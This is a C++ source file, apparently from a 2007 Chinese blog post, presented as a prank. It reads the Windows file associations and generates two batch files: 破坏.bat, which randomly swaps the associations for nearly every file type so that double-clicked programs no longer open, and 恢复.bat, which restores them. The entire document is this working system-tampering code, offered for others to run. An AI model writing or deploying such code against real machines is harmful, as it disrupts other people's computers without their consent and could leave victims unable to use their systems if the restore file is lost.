/*************************************************************\ 恶作剧程序 :产生破坏 Windows 的文件关联的 .bat 文件,导致 所有程序不能通过鼠标双击加载。双击产生的 .bat 文件即可生效 ..... 只因为无聊 ^_^ 同时还产生恢复程序所以不必担心 ^_^ Author: 江南孤峰 TIME:2007--7--5\**************************************************************/ #include <iostream>#include <fstream>#include <vector>#include <string>using namespace std; typedef struct DATA{ DATA(string ext, string ass,bool use=false): strFileExt(ext),strAssoc(ass),use(false){} string strFileExt; string strAssoc; bool use;}DATA_TYPE; int main(){ system("assoc>source.txt"); ofstream fileDestory("破坏.bat"); ofstream fileReset("恢复.bat"); ifstream in("source.txt"); if(fileDestory.fail()||fileReset.fail()|in.fail()){ cout<<"File error !"<<endl; system("pause"); exit(1); } vector<DATA_TYPE> myVect; char buf[256],*p; while(true){ in.getline(buf,256); if(in.eof()) break; if(*(p=strchr(buf,'=')+1)=='\0') continue; fileReset<<"assoc "<<buf<<endl; *(p-1) = '\0'; if(!stricmp(buf,".bat")) continue; myVect.push_back(DATA(string(buf),string(p))); } in.close(); fileReset.close(); for(int i=0; true; i++){ if(myVect[i].use==true) continue; if(i+1>=myVect.size()){ fileDestory<<"assoc "<<myVect[i].strFileExt<<"="<<myVect[i-2].strAssoc<<endl; break; } int t=rand()%myVect.size(); while(myVect[t].use==true) t = t+1==myVect.size() ? i+1 : t+1 ; fileDestory<<"assoc "<<myVect[i].strFileExt<<"="<<myVect[t].strAssoc<<endl; fileDestory<<"assoc "<<myVect[t].strFileExt<<"="<<myVect[i].strAssoc<<endl; myVect[i].use = myVect[t].use = true; i++; } fileDestory.close(); cout<<"Create file success !"<<endl; system("pause"); return 0;}

评论